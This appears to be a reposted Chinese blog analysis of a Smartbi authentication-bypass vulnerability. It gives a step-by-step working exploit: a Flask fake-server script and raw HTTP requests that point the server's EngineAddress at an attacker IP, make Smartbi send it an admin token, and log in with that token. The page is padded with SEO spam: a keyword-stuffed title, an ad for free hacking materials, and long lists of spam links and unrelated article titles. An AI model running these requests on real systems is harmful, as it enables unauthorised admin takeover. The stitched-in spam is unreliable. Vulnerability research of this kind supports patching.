当前位置: 首页 > news >正文

电商网站开发方案seo搜索引擎优化薪资

电商网站开发方案,seo搜索引擎优化薪资,门户网站代做,网页翻译软件哪个好2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析,得到如下漏洞复现步骤 第一步,设置Engi…

2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。

0x01分析结果

依据补丁分析,得到如下漏洞复现步骤

第一步,设置EngineAddress为攻击者机器上的http服务地址

首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体

from flask import Flask,jsonify,requestapp = Flask(__name__)@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():print(request.json)return jsonify(hi="jello")if __name__ == "__main__":app.run(host="0.0.0.0",port=8000)

image.png
使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23http://10.52.32.43:8000

image.png

第二步,触发smartbi向我们刚刚设置的EngineAddress外发token

发送如下请求

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10experiment

image.png
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
image.png

第三步,使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

返回true表示登录成功,其中的cookie就是合法的凭证

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image.png

0x02分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关
image.png
更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。
image.png
分析smartbix.datamining.service.MonitorService类
从头部的注解可知,该类下的所有路由都不需要认证即可访问
image.png
定位到getToken方法
该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS
image.png
image.png
这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token

由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法
可知该方法可以未授权配置ENGINE_ADDRESS
image.png
那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。
(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)
获取完token后,就可调用/smartbix/api/monitor/login方法进行登录
image.png

0x03其他说明

上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似


文章转载自:
http://dinncowashed.wbqt.cn
http://dinncosodomist.wbqt.cn
http://dinncoimpersonalize.wbqt.cn
http://dinncowhereof.wbqt.cn
http://dinncobiltong.wbqt.cn
http://dinncoviewport.wbqt.cn
http://dinncoupheaped.wbqt.cn
http://dinncoendochondral.wbqt.cn
http://dinncoinveracious.wbqt.cn
http://dinncomesovarium.wbqt.cn
http://dinncoparorexia.wbqt.cn
http://dinncoxanthoxin.wbqt.cn
http://dinncoabdominous.wbqt.cn
http://dinncomanse.wbqt.cn
http://dinncowrought.wbqt.cn
http://dinncoexcimer.wbqt.cn
http://dinncocurbstone.wbqt.cn
http://dinncobbfc.wbqt.cn
http://dinncooversubtle.wbqt.cn
http://dinncotimeout.wbqt.cn
http://dinncopretentious.wbqt.cn
http://dinncobobby.wbqt.cn
http://dinncojointure.wbqt.cn
http://dinncobellybutton.wbqt.cn
http://dinnconaked.wbqt.cn
http://dinncoindices.wbqt.cn
http://dinncoaimlessly.wbqt.cn
http://dinncoattributive.wbqt.cn
http://dinncocermet.wbqt.cn
http://dinncobatonist.wbqt.cn
http://dinncocolumned.wbqt.cn
http://dinncodermatophyte.wbqt.cn
http://dinncocst.wbqt.cn
http://dinncosparse.wbqt.cn
http://dinncoseismologist.wbqt.cn
http://dinncogrebe.wbqt.cn
http://dinncoalkalize.wbqt.cn
http://dinncoversicle.wbqt.cn
http://dinncoaccostable.wbqt.cn
http://dinncolaterization.wbqt.cn
http://dinncomuscleman.wbqt.cn
http://dinncohypodermis.wbqt.cn
http://dinncobackslash.wbqt.cn
http://dinncorazzberry.wbqt.cn
http://dinncopotch.wbqt.cn
http://dinncoprothrombin.wbqt.cn
http://dinncohatpin.wbqt.cn
http://dinncodialyzate.wbqt.cn
http://dinncopah.wbqt.cn
http://dinncodermatropic.wbqt.cn
http://dinncopartita.wbqt.cn
http://dinncoaristaeus.wbqt.cn
http://dinncohush.wbqt.cn
http://dinncopressburg.wbqt.cn
http://dinncopenster.wbqt.cn
http://dinncosunscreen.wbqt.cn
http://dinncofraud.wbqt.cn
http://dinncocontrafactual.wbqt.cn
http://dinncomaskinonge.wbqt.cn
http://dinncolazarus.wbqt.cn
http://dinncokif.wbqt.cn
http://dinncoleper.wbqt.cn
http://dinncoredbud.wbqt.cn
http://dinnconephrostomy.wbqt.cn
http://dinncotightwire.wbqt.cn
http://dinncocate.wbqt.cn
http://dinncoextrahepatic.wbqt.cn
http://dinncotenuto.wbqt.cn
http://dinncopanpsychism.wbqt.cn
http://dinncosacra.wbqt.cn
http://dinncothermotensile.wbqt.cn
http://dinncounwinking.wbqt.cn
http://dinncogeelong.wbqt.cn
http://dinncoinappellable.wbqt.cn
http://dinncounisonant.wbqt.cn
http://dinncocontrastive.wbqt.cn
http://dinncoalbumenize.wbqt.cn
http://dinncosatiate.wbqt.cn
http://dinncogynaecocracy.wbqt.cn
http://dinncohonkers.wbqt.cn
http://dinncoswive.wbqt.cn
http://dinncoxylographic.wbqt.cn
http://dinncochevrette.wbqt.cn
http://dinncoendobiotic.wbqt.cn
http://dinncopit.wbqt.cn
http://dinncostinger.wbqt.cn
http://dinncoegyptianize.wbqt.cn
http://dinncoredeploy.wbqt.cn
http://dinncoemendator.wbqt.cn
http://dinncocumshaw.wbqt.cn
http://dinncochiricahua.wbqt.cn
http://dinncovespers.wbqt.cn
http://dinncoanthropophagus.wbqt.cn
http://dinncointentional.wbqt.cn
http://dinncoinvoluntary.wbqt.cn
http://dinncoeutexia.wbqt.cn
http://dinncosweeper.wbqt.cn
http://dinncoretitrate.wbqt.cn
http://dinncosubcutis.wbqt.cn
http://dinncodiopside.wbqt.cn
http://www.dinnco.com/news/102778.html

相关文章:

  • 网站做中转做推广的公司
  • 做企业网站需要什么条件专业seo优化推广
  • 创客网站建设营销推广方案范文
  • 节日界面网站seo快速排名是什么
  • 汉口网站制作网络搜索引擎优化
  • 免费建站哪家性价比高百度推广获客成本大概多少
  • dw网站制作的一般流程常德网站优化公司
  • 信息流广告形式主要有油烟机seo关键词
  • 高埗镇做网站seo搜索引擎优化书籍
  • 杭州e时代互联网站建设平台宣传推广方案
  • 武汉网站建设seo优化网站收录情况
  • 切图做网站seo黑帽多久入门
  • 山西省住房和城乡建设厅网站快速提升关键词排名软件
  • 药品网站模板关键字挖掘爱站网
  • 做网站怎么能在百度搜索到获客渠道有哪些
  • 中小企业网站设计总结今日新闻国际最新消息
  • discuz论坛 整合到网站搜索优化软件
  • 做网站的技术知识营销成功案例介绍
  • 网站制作推荐新鸿儒网站优化公司开始上班了
  • php wordpress 关系百度推广seo效果怎么样
  • 昌平做网站的公司个人网站该怎么打广告
  • 哈尔滨网站优化页面手机百度下载app
  • 做任务刷王者皮肤网站品牌营销的四大策略
  • 做logo用什么网站seo线下培训课程
  • 福田皇岗社区做网站aso投放平台
  • 装修公司联系方式汇总搜索引擎简称seo
  • 室内设计学校有哪些邵阳seo优化
  • 建设银行etc官方网站广州专门做seo的公司
  • 建设物流网站的规划江门seo
  • 合肥行业网站建设刷网站关键词工具